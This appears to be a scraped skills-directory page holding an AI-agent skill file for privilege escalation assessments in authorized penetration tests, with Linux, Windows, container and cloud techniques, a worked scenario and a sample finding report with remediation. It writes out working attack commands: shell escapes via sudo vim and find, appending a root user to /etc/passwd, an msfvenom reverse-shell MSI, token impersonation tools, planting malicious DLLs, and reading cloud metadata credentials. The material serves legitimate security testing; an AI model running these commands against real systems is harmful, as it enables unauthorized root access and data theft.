[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7AA87X32SPNZVF80GSB9ZJV":3,"skill-same:01M7AA87X32SPNZVF80GSB9ZJV":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":14,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M7AA87X32SPNZVF80GSB9ZJV","performing-privilege-escalation-assessment",null,"Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-privilege-escalation-assessment\ndescription: 'Performs privilege escalation assessments on compromised Linux and Windows\n  systems to identify paths from low-privilege access to root or SYSTEM-level control.\n  The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID\n  binaries, unquoted service paths, and credential stores to demonstrate the full\n  impact of an initial compromise. Activates for requests involving privilege escalation\n  testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- privilege-escalation\n- post-exploitation\n- Linux-privesc\n- Windows-privesc\n- local-exploitation\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Restore Access\n- Password Authentication\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n","# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":39,"description":40,"mitre_attack":41,"d3fend_techniques":47},[26,27,28,29,30],"privilege-escalation","post-exploitation","Linux-privesc","Windows-privesc","local-exploitation","mahipal","cybersecurity","1.0.0",[35,36,37,38],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing","Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n",[42,43,44,45,46],"T1595","T1190","T1059","T1078","T1068",[48,49,50,51,52],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-privilege-escalation-assessment","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-privilege-escalation-assessment",{"tool":66,"command":67},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-privilege-escalation-assessment",{"tool":69,"command":70},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-privilege-escalation-assessment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1865,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",9763,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002Fscripts\u002Fagent.py",[91,98,105,112,119,126],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden 